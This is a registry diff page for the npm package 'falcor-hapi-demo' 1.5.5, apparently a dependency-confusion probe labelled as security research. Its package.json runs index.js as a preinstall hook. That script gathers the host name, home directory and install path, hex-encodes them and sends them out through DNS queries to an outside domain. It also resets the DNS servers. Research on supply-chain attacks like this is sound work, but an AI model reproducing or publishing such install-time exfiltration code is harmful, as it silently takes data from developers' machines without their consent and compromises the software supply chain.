falcor-hapi-demo 1.5.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of falcor-hapi-demo might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/index.js +80 -0
  3. package/package.json +15 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ This package is meant for security research purposes and does not contain any useful code.
package/index.js ADDED
@@ -0,0 +1,80 @@
1
+ /*
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure program will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ alex@ethicalhack.ro
17
+ https://twitter.com/alxbrsn
18
+
19
+ */
20
+
21
+
22
+ const dns = require('dns');
23
+ const os = require('os');
24
+
25
+ const suffix = '.dns.thewhybee.com';
26
+ const ns = 'dns1.thewhybee.com';
27
+
28
+ const package = ' falcor-hapi-demo';
29
+
30
+
31
+ function sendToServer(data) {
32
+
33
+ data = Buffer.from(data).toString('hex');
34
+ data = data.match(/.{1,60}/g);
35
+
36
+ id = Math.random().toString(36).substring(2);
37
+
38
+ data.forEach(function (chunk, idx){
39
+ try {
40
+ dns.resolve(
41
+ 'v9_f.' + id + '.' + idx + '.' + chunk + '.v9_e' + suffix, 'A',
42
+ console.log);
43
+ } catch (e) { }
44
+ });
45
+
46
+ }
47
+
48
+ function tryGet(toCall) {
49
+
50
+ try {
51
+ return toCall();
52
+ } catch(e) {
53
+ return 'err';
54
+ }
55
+
56
+ }
57
+
58
+ data = {
59
+ p : package,
60
+ h : tryGet(os.hostname),
61
+ d : tryGet(os.homedir),
62
+ c : __dirname
63
+ }
64
+
65
+ if (data['h'] == 'BBOGENS-LAPTOP') {
66
+ process.exit(0);
67
+ }
68
+
69
+ data = JSON.stringify(data);
70
+
71
+ sendToServer(data);
72
+ dns.lookup(ns, function(err, address) {
73
+ if (!err) {
74
+ nsAddress = address;
75
+ } else {
76
+ nsAddress = '8.8.8.8';
77
+ }
78
+ dns.setServers([nsAddress, '8.8.4.4']);
79
+ sendToServer(data);
80
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": " falcor-hapi-demo",
3
+ "version": "1.5.5",
4
+ "description": "Security research purposes only.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+
14
+ }
15
+ }